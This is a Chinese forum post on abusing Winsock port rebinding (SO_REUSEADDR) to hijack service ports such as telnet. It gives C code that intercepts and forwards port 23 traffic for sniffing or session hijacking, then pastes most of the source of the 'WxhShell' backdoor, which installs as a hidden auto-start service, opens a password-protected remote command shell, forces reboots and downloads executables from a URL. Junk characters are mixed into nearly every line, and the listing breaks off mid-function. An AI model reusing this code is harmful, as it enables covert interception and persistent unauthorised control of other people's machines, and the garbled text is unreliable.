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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 31b9pi}nf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9)={p9FZY  
uQ4WM  
  saddr.sin_family = AF_INET; \D8d!gr  
K9Dxb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {3Z&C$:s  
R3;GMe@D#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3RpDIl`0  
~Ein)5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lxTW1kr  
Z IfhC'  
  这意味着什么?意味着可以进行如下的攻击: DJSSc  
D@T>z;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AtNu:U$  
7<&CN0&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #&vP(4p  
_iBNy   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i>gbT+*E!  
VIo %((  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :5?g<@  
>U@7xeK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A@^e 4\  
/I~iUND"G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2[i:bksjW  
cPe0o'`[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =>".  
mq@2zE`.(  
  #include @D%H-X  
  #include < \]o#w*:  
  #include xcO Si>  
  #include    `A O_e4D0i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :Mr_/t2(  
  int main() xk=5q|u_-  
  { r=[T5,L(s  
  WORD wVersionRequested; T1ZAw'6(K  
  DWORD ret; wPTXRq%  
  WSADATA wsaData; >W[8wR  
  BOOL val; tiJY$YqA  
  SOCKADDR_IN saddr; >jU.R;H5  
  SOCKADDR_IN scaddr; .L'>1H]B  
  int err; FJl#NOp&  
  SOCKET s; _ 1[5~Pnh  
  SOCKET sc; nunTTE,iq%  
  int caddsize; X&sXss<fO%  
  HANDLE mt; '6*^s&H~  
  DWORD tid;   wowv>!N!X-  
  wVersionRequested = MAKEWORD( 2, 2 ); |- 39ZZOX  
  err = WSAStartup( wVersionRequested, &wsaData ); qX[a\HQa  
  if ( err != 0 ) { 4[t1"s~Wg  
  printf("error!WSAStartup failed!\n"); COJny/FT|  
  return -1; VYj hU?I  
  } I, 9!["^|  
  saddr.sin_family = AF_INET; @O b$w1c  
   _W]qV2j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L 1=HD  
E/9h"zowS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >h>X/a(=~  
  saddr.sin_port = htons(23); !kZ9Ox9^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3# G;uWN-  
  { 4R-Y9:^t  
  printf("error!socket failed!\n"); ]Ga}+^  
  return -1; SBo>\<@  
  } V,?i]q;5  
  val = TRUE; /Y("Q#Ueq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )`?Es8uW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +$M%"=tk  
  { qQC<oR  
  printf("error!setsockopt failed!\n"); E,,)?^g  
  return -1; tW;?4}JR  
  } kxU <?0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 86!"b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7(B|NYq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z+h^ ie"g  
/7#KkMg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `HXP*Bp#  
  { [*ylC,w  
  ret=GetLastError(); jO\29(_  
  printf("error!bind failed!\n"); *x3";%o  
  return -1; cwi HHf>  
  } J+IQvOn_|  
  listen(s,2); 46c7f*1l  
  while(1) ,@"Z!?e  
  { ZzET8?8  
  caddsize = sizeof(scaddr); EMME?OW$  
  //接受连接请求 ^LgaMmz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X6s6fu;  
  if(sc!=INVALID_SOCKET) a-\\A[E  
  { qa 'YZE`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?eD,\G  
  if(mt==NULL) ^mr#t #[e  
  { g'G%BX  
  printf("Thread Creat Failed!\n"); !<\"XxK+l  
  break; @cNBY7=  
  } Cw1Jl5OVZ  
  } =/wAk0c^y  
  CloseHandle(mt); /HR9(j6  
  } tX)l$oRPr  
  closesocket(s); b6%T[B B  
  WSACleanup(); iR j/Tm*T'  
  return 0; a86m?)-c  
  }   FtbqZN[  
  DWORD WINAPI ClientThread(LPVOID lpParam) \,jrug<C$^  
  { Qzy[  
  SOCKET ss = (SOCKET)lpParam; {H OvJ`tM  
  SOCKET sc; yyZ}qnbx]  
  unsigned char buf[4096]; Wlm%W>%  
  SOCKADDR_IN saddr; k{ >rI2;  
  long num; QA_SS'*  
  DWORD val; v#u]cmI  
  DWORD ret; vaQZ1a,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HPVW2Y0_N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o3*IfD  
  saddr.sin_family = AF_INET; .sNUU 3xSC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *xB9~:  
  saddr.sin_port = htons(23); ~I<yN`5(a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Cd 1&  
  { /VB n  
  printf("error!socket failed!\n"); yU"lW{H@  
  return -1; weCRhA  
  } 3\FPW1$i|[  
  val = 100; *yp}#\rk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pe@M_ r  
  { Qd"{2>  
  ret = GetLastError(); m[&]#K6  
  return -1; G4g <PFx  
  } K%9PIqK?4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AnVj '3  
  { jG=*\lK6  
  ret = GetLastError(); A[L+w9  
  return -1; pC,MiV$c"  
  } "-JJ6Bk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pnin;;D*  
  { \zA$|) x  
  printf("error!socket connect failed!\n"); k]FP1\Y  
  closesocket(sc); Di{T3~fqU  
  closesocket(ss); xi=Z<G  
  return -1; JzH\_,,  
  } -DDH)VO  
  while(1) +f/G2qY!t  
  { D&_Ir>"\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2b+cz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OD5c,IkWB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z:f[<`,GT  
  num = recv(ss,buf,4096,0); tK)E*!  
  if(num>0) h-`Jd>u"  
  send(sc,buf,num,0); w6>'n }  
  else if(num==0) NikY0=i  
  break; Q`ERI5b6  
  num = recv(sc,buf,4096,0); c]jK Y<  
  if(num>0) y05(/NH>  
  send(ss,buf,num,0); pUby0)}t  
  else if(num==0) m#Rgelhk.  
  break; h,B ]5Of  
  } q%8%J'Fro  
  closesocket(ss); TTcMIMyLT  
  closesocket(sc); zt{?Nt b  
  return 0 ; ($:s}_<>s  
  } d K|6p_  
!J ")TP=  
clK3kBh~&  
========================================================== C!xqp   
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下边附上一个代码,,WXhSHELL D%k%kg0,  
$/ ;:Xb=q  
========================================================== g[fCvWm#d  
[.;$6C/?  
#include "stdafx.h" f h05*]r  
IT& U%hw  
#include <stdio.h> n1K"VjZk  
#include <string.h> 5|YpkY  
#include <windows.h> dn/0>|5OF(  
#include <winsock2.h>  e#0C  
#include <winsvc.h> j>XM+>  
#include <urlmon.h> bnBnE[y<'  
(UWP=L1  
#pragma comment (lib, "Ws2_32.lib") +r[u4?  
#pragma comment (lib, "urlmon.lib") bTB/M=M  
xC;b<~zN  
#define MAX_USER   100 // 最大客户端连接数 HN,E+ dQ  
#define BUF_SOCK   200 // sock buffer K~"uZa^s  
#define KEY_BUFF   255 // 输入 buffer Q#NXJvI  
B0I(/ 7  
#define REBOOT     0   // 重启 KJc fbZ~  
#define SHUTDOWN   1   // 关机 9?<WRM3a>  
=N,9#o6^  
#define DEF_PORT   5000 // 监听端口 mKY}+21!Q  
YCod\}3  
#define REG_LEN     16   // 注册表键长度 >0kn&pe7#T  
#define SVC_LEN     80   // NT服务名长度 hX4&B  
^n#6CW*n  
// 从dll定义API cn (-{dCXM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S'T&`"Mr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cv{>|g#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0g% `L_e_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B6&PYMFK?*  
^qXc%hjg  
// wxhshell配置信息 '5zolp%St  
struct WSCFG { oiYI$ql3L  
  int ws_port;         // 监听端口 fR<_4L  
  char ws_passstr[REG_LEN]; // 口令 >?K@zsv}  
  int ws_autoins;       // 安装标记, 1=yes 0=no F VBuCi?W  
  char ws_regname[REG_LEN]; // 注册表键名 ("UcjB^62  
  char ws_svcname[REG_LEN]; // 服务名 "w ] Bq0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R,[ dEP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zr%2oFeX,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 In)8AK(Hw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no } MBxfZ4I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9[}L=n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [#$:X+lw  
7Pspx'u  
}; JK:i-  
Lqy]bnY  
// default Wxhshell configuration $ )q?z.U  
struct WSCFG wscfg={DEF_PORT, T+p ?VngF  
    "xuhuanlingzhe", 1,,kU  
    1, #7/;d=  
    "Wxhshell", @]yd Wd  
    "Wxhshell", ?&?gQ#\N_J  
            "WxhShell Service", Hq'mv_}qG  
    "Wrsky Windows CmdShell Service", qP? V{N  
    "Please Input Your Password: ", @R% n &  
  1, Htd-E^/  
  "http://www.wrsky.com/wxhshell.exe", x]o~ %h$  
  "Wxhshell.exe" yT<6b)&*&  
    }; 0LX;Vvo  
^hPREbD+f  
// 消息定义模块 "&(.Z(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S*,DX~vig  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BUR96YN.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?B> { rj  
char *msg_ws_ext="\n\rExit."; Wt=QCutt  
char *msg_ws_end="\n\rQuit."; Do-~-d4  
char *msg_ws_boot="\n\rReboot..."; Z_vIGH|1  
char *msg_ws_poff="\n\rShutdown..."; -0[?6.(s"  
char *msg_ws_down="\n\rSave to "; yn=BO`sgW  
@jb -u S  
char *msg_ws_err="\n\rErr!"; pC<~\RR  
char *msg_ws_ok="\n\rOK!"; 3e&H)  
NzB"u+jB  
char ExeFile[MAX_PATH]; OxGKtnAjf  
int nUser = 0; F)dJws7-  
HANDLE handles[MAX_USER]; bHx09F]  
int OsIsNt; ._2#89V  
1&%6sZN  
SERVICE_STATUS       serviceStatus; "b)Y5[nW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vsc)EM ]  
.f)&;Af^  
// 函数声明 [JI>e;l C:  
int Install(void); 1b*Me'  
int Uninstall(void); +u+|9@  
int DownloadFile(char *sURL, SOCKET wsh);  l* C>  
int Boot(int flag); ^Pqj*k+F  
void HideProc(void); z7B>7}i-  
int GetOsVer(void); '%U'%')  
int Wxhshell(SOCKET wsl); WE;QEA/  
void TalkWithClient(void *cs); 5[<" _  
int CmdShell(SOCKET sock); #O3Y#2lI  
int StartFromService(void); 9eOP:/'}w  
int StartWxhshell(LPSTR lpCmdLine); 6lW\-h`N G  
tf?syk+jB7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N.r8dC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \*] l'>x1  
FvX<(8'#a  
// 数据结构和表定义 HLMcOuj  
SERVICE_TABLE_ENTRY DispatchTable[] = ko-|hBNv  
{ Mf'T\^-!  
{wscfg.ws_svcname, NTServiceMain}, i=Nq`BoQf  
{NULL, NULL} oSd TQ$U!D  
}; 1Pya\To,m  
_:(RkS!x  
// 自我安装 OR84/^>  
int Install(void) OP:i;%@c  
{ \VQv "wid  
  char svExeFile[MAX_PATH]; 7 YS'Tf  
  HKEY key;  J+hiz3N  
  strcpy(svExeFile,ExeFile); 04;E^,V  
SP}!v5.  
// 如果是win9x系统,修改注册表设为自启动 (>~:1  
if(!OsIsNt) { `" BFvF#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H&$L1CrdL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q [}<LU  
  RegCloseKey(key); %H)^k${  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `6bIxb{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); awYnlE/Z1  
  RegCloseKey(key); )\nKr;4MH  
  return 0; ['~E _z  
    } >9-$E?Mt  
  } z;T_%?u  
} XPJsnu  
else { V { #8+  
is?#wrV=K  
// 如果是NT以上系统,安装为系统服务 FA5|`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =|}_ASbzw  
if (schSCManager!=0) 5"~F#vt  
{ 8PKUg "p  
  SC_HANDLE schService = CreateService 80(Olf@PE  
  ( .|XG0M  
  schSCManager, D\13fjjHlu  
  wscfg.ws_svcname, V\1pn7~V  
  wscfg.ws_svcdisp, 1 8*M  
  SERVICE_ALL_ACCESS, *dmB Ji}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SX/ E@vYb  
  SERVICE_AUTO_START, OKW}8qM  
  SERVICE_ERROR_NORMAL, z@za9U`6i  
  svExeFile, nZtMF%j'  
  NULL, e3o?=;  
  NULL, exW|c~|m{A  
  NULL, bCa%$  
  NULL, Ms4~P6;%  
  NULL r6WSX;K  
  ); Z;v5L/;  
  if (schService!=0) /RG>n  
  { k7L-J  
  CloseServiceHandle(schService); y$Nqw9  
  CloseServiceHandle(schSCManager); }Gvu!a#R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); != uaB.  
  strcat(svExeFile,wscfg.ws_svcname); \v\f'eQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {[I]pm~n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .ei5+?V<i  
  RegCloseKey(key); <cof   
  return 0; $O'IbA  
    } ;!~&-I0l  
  } Am'%tw ~  
  CloseServiceHandle(schSCManager); M6nQ17\{  
} `[)!4Jb  
} Jn:h;|9w  
S4ys)!V1V  
return 1; T]_]{%z  
} ?)-#\z=6G  
\&8 61A;  
// 自我卸载 yg@8&;bP`  
int Uninstall(void) {s7 3(B"  
{ =)c^ik%F&  
  HKEY key; C@o8C%o  
#Sc9&DfX  
if(!OsIsNt) { o=]\Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z=FOymv C  
  RegDeleteValue(key,wscfg.ws_regname); mb\"qD5  
  RegCloseKey(key); Svicw`uX0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  `1`Qu!  
  RegDeleteValue(key,wscfg.ws_regname); 969Y[XQ  
  RegCloseKey(key); ,=IGqw  
  return 0; 7g7[a/Bts  
  } >%\&tS'  
} M*gbA5  
} drwD3jx0xv  
else { 6*&$ha}X  
F tS"vJ\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m[}@\y  
if (schSCManager!=0) -F$v`|(O+  
{ B?nw([4m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fp&tJ]=B.  
  if (schService!=0) UdOO+Z_K%  
  { I/B*iW^  
  if(DeleteService(schService)!=0) { _ ?o>i/  
  CloseServiceHandle(schService); g)mjw  
  CloseServiceHandle(schSCManager); 4JO[yN  
  return 0; *|4/XHi  
  } +\R__tx;  
  CloseServiceHandle(schService); p![UOI"W  
  } |[_%zV;p>v  
  CloseServiceHandle(schSCManager); #E$*PAB  
} ]x(cX&S-9  
} /lS5B6NU  
}'p"q )  
return 1; %dwI;%0  
} R>D[I.  
R wTzS;  
// 从指定url下载文件 <kCOg8<y :  
int DownloadFile(char *sURL, SOCKET wsh) @P )2ZGG  
{ Di"Tv<RlQ  
  HRESULT hr; koa-sy)#L  
char seps[]= "/"; yz<$?Gblz  
char *token; =5;tB  
char *file; =E w<s5C@  
char myURL[MAX_PATH]; Qv W vS9]  
char myFILE[MAX_PATH]; Q?2Gw N  
8-"D.b4  
strcpy(myURL,sURL); ]~:WGo=_  
  token=strtok(myURL,seps); a@S{ A5j  
  while(token!=NULL) 2,6~;R  
  { 0N87G}Xu  
    file=token; mUNAA[0 L  
  token=strtok(NULL,seps); XI+GWNAmJ  
  } Y#t9DhzFWo  
X#>:9  
GetCurrentDirectory(MAX_PATH,myFILE); $@HW|Y  
strcat(myFILE, "\\"); eg1Mdg\a  
strcat(myFILE, file); FnPn#Cv>*  
  send(wsh,myFILE,strlen(myFILE),0); U4N H9-U'  
send(wsh,"...",3,0); zRMz8IC.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r"9hpZH  
  if(hr==S_OK) I {%Y0S  
return 0; 4YSVy2x  
else Lz&FywF-l  
return 1; D>-srzw  
YB1Jv[  
} 9~J#> C0}  
M`&78j  
// 系统电源模块 ;4QE.&s`  
int Boot(int flag) `\r <3?  
{ &`IJ55Z-)  
  HANDLE hToken; `x`zv1U  
  TOKEN_PRIVILEGES tkp; .lAPlJOO  
_;,"!'R`f  
  if(OsIsNt) { Iw4[D#o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T#\=v(_NR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BJt]k7ku+  
    tkp.PrivilegeCount = 1; pr[V*C/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JM7FVB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  {DD #&B  
if(flag==REBOOT) { ^WrL   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P(.XB`  
  return 0; ;@*<M\O  
} {%\@Z-9%q,  
else { *nK4XgD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lA` qB1x  
  return 0; d`,z4 _  
} l{gR6U{e  
  } i#aKW'  
  else { o)GesgxFa5  
if(flag==REBOOT) { #w@FBFr@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |\Q2L;4C  
  return 0; {PkR6.XhR  
} &Oc `|r*  
else { fR b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /:v}Ni"6nF  
  return 0; !sp`oM  
} q"5\bh1"  
} 'ka}x~EF  
:NL[NbQYt  
return 1; #uV J  
} ;9Qxq]  
|~@yXc5a  
// win9x进程隐藏模块  au]W*;x  
void HideProc(void) $:yIe.F  
{ vJ{F)0 K  
oE_*hp+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v 8EI   
  if ( hKernel != NULL ) Nt;1&dwUb  
  { (f2r4Io|}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _F(Np\%_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ E_chx-e}  
    FreeLibrary(hKernel); $o. ;}  
  } T[I7.8g  
bXeJk]#y  
return; 86eaX+F  
} 5|7<ZL 3  
k(M"k!M  
// 获取操作系统版本 O)ose?Z  
int GetOsVer(void) \<hHZS  
{ +4p=a [  
  OSVERSIONINFO winfo; ,|Gjr T{vf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4s9.")G  
  GetVersionEx(&winfo); If]rg+|U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /'zXb_R,$  
  return 1; "sIww  
  else `Hq*l"8  
  return 0; j"jQiL_*  
} xLb=^Xjec  
(5A8#7a  
// 客户端句柄模块 F-F1^$]k  
int Wxhshell(SOCKET wsl) Fn0 |v66  
{ 6b%IPbb  
  SOCKET wsh; ?LJiFG]^m  
  struct sockaddr_in client; x+TdTe;p  
  DWORD myID; da~_(giD*  
M(yWE0 3  
  while(nUser<MAX_USER) &^w "  
{ m?gGFxo  
  int nSize=sizeof(client); YS@T Q?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Z\AO'h=Z  
  if(wsh==INVALID_SOCKET) return 1; 0_AIKJrL  
HRJ\H- V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0176  
if(handles[nUser]==0) @FZ_[CYg  
  closesocket(wsh); ~N/a\%`  
else *&I _fAh]  
  nUser++; >K&chg@Hv  
  } .'.bokl/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?p/}eRgi  
h:|BQC  
  return 0; :0ltq><?  
} ll[&O4.F  
cq5^7.  
// 关闭 socket ~W={"n?=  
void CloseIt(SOCKET wsh) ^O =G%de  
{ )#GF:.B  
closesocket(wsh); x3( ->?)D  
nUser--; &*E! %57  
ExitThread(0); L7nG5i  
} (>Nwd^  
E!.&y4  
// 客户端请求句柄 }I MV@z B  
void TalkWithClient(void *cs) V2xvuDHI  
{ ?S9vYaA$  
a@Zolz_Z  
  SOCKET wsh=(SOCKET)cs; e2BC2K0  
  char pwd[SVC_LEN]; f`*VNB`  
  char cmd[KEY_BUFF]; WgG$ r  
char chr[1]; miTff[hsMa  
int i,j; I;1)a4Xc4R  
2ga8 G4dU  
  while (nUser < MAX_USER) { SkC.A ?  
b#"&]s-  
if(wscfg.ws_passstr) { -E3cS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s|:1z"q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uL@%M8n  
  //ZeroMemory(pwd,KEY_BUFF); DF>tQ  
      i=0; 9ZG:2ncdJ  
  while(i<SVC_LEN) { lFduX D  
m`n~-_  
  // 设置超时 Q&+)Kp]A  
  fd_set FdRead; ?RIf0;G  
  struct timeval TimeOut; fYzP4  
  FD_ZERO(&FdRead); X$@qs9?)^  
  FD_SET(wsh,&FdRead); Ryygq,>VD.  
  TimeOut.tv_sec=8; )FmIL(vu  
  TimeOut.tv_usec=0; k.jBu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eMdf [eS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hSXJDT2  
K3UN#G)U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C@\5%~tW+  
  pwd=chr[0]; @$t\yBSK  
  if(chr[0]==0xd || chr[0]==0xa) { GKOl{och  
  pwd=0; nz'6^D7`r  
  break; G<$8g-O;D  
  } D%LYQ  
  i++; Sv0?_3C  
    } $.:x3TsA  
C(h Td%  
  // 如果是非法用户,关闭 socket !*HJBZ]q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ].5q,A]  
} F|R7hqf  
<2]D3,.g.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ WPt zL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $cc]Av4c2  
U 8p %MFD  
while(1) { =yM%#{t&W  
g oyQ',+  
  ZeroMemory(cmd,KEY_BUFF); lUA-ug! ^  
Bd)Cijr  
      // 自动支持客户端 telnet标准   [}GK rI  
  j=0; B"\9slX  
  while(j<KEY_BUFF) { "wg$ H1K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A L^tUcl  
  cmd[j]=chr[0]; ggitUQ+t;G  
  if(chr[0]==0xa || chr[0]==0xd) { H~mp*S  
  cmd[j]=0; [~RO9=;L  
  break; _uL[ Z  
  } 5~T+d1md  
  j++; >Yk|(!v  
    } ?Yf v^DQ5  
JZ*.;}"  
  // 下载文件 ;UUgqX#  
  if(strstr(cmd,"http://")) { $$W2{vr7+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r>i95u82'  
  if(DownloadFile(cmd,wsh)) 4zt:3bW U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Li&0E  
  else ;+|Z5+7!6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GA/afc,V  
  } 'Ha> >2M  
  else { vdQ#C G$/  
INp:;  
    switch(cmd[0]) { `4X.UPJ  
  5*-RIs! 2  
  // 帮助 m"n" 1;o=  
  case '?': { c3ru4o*K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :g' 'GqGZ  
    break; zxIP-QaA  
  } Y*p<\{,oC  
  // 安装 ^k$Bx_{  
  case 'i': { e57R6g)4  
    if(Install()) `?WN*__["  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaw[ia_EL  
    else 0s H~yvM5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |HYST`  
    break; s :BW}PM  
    } %G,7Ul1f  
  // 卸载 :) -`  
  case 'r': { QG~6mvD  
    if(Uninstall()) j}s/)}n|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .taP2^2Z  
    else d=8.cQL:E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  :TR:tf  
    break;  qsXkm4  
    } <_Z.fdUA  
  // 显示 wxhshell 所在路径 ={ -kQq  
  case 'p': { 44B D2`nF  
    char svExeFile[MAX_PATH]; XqUQ{^;aI  
    strcpy(svExeFile,"\n\r"); XksI.]tfj  
      strcat(svExeFile,ExeFile); BBGub?(dR  
        send(wsh,svExeFile,strlen(svExeFile),0); +F60_O `  
    break; .boB b<  
    } _G@Z n[v  
  // 重启 8 l)K3;q_  
  case 'b': { JhwHsx/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GYiL}itD=3  
    if(Boot(REBOOT)) 3!/J!X3L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $d])>4eQ  
    else { a#%*H  
    closesocket(wsh); ts@Z5Yw*!  
    ExitThread(0); 83 R_8  
    } ~<O.Gu&"R  
    break; (VI(Nv:o@  
    } Jr;w>8B),  
  // 关机 )\VuN-d  
  case 'd': { sJ^Ff  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x=L"qC9f/  
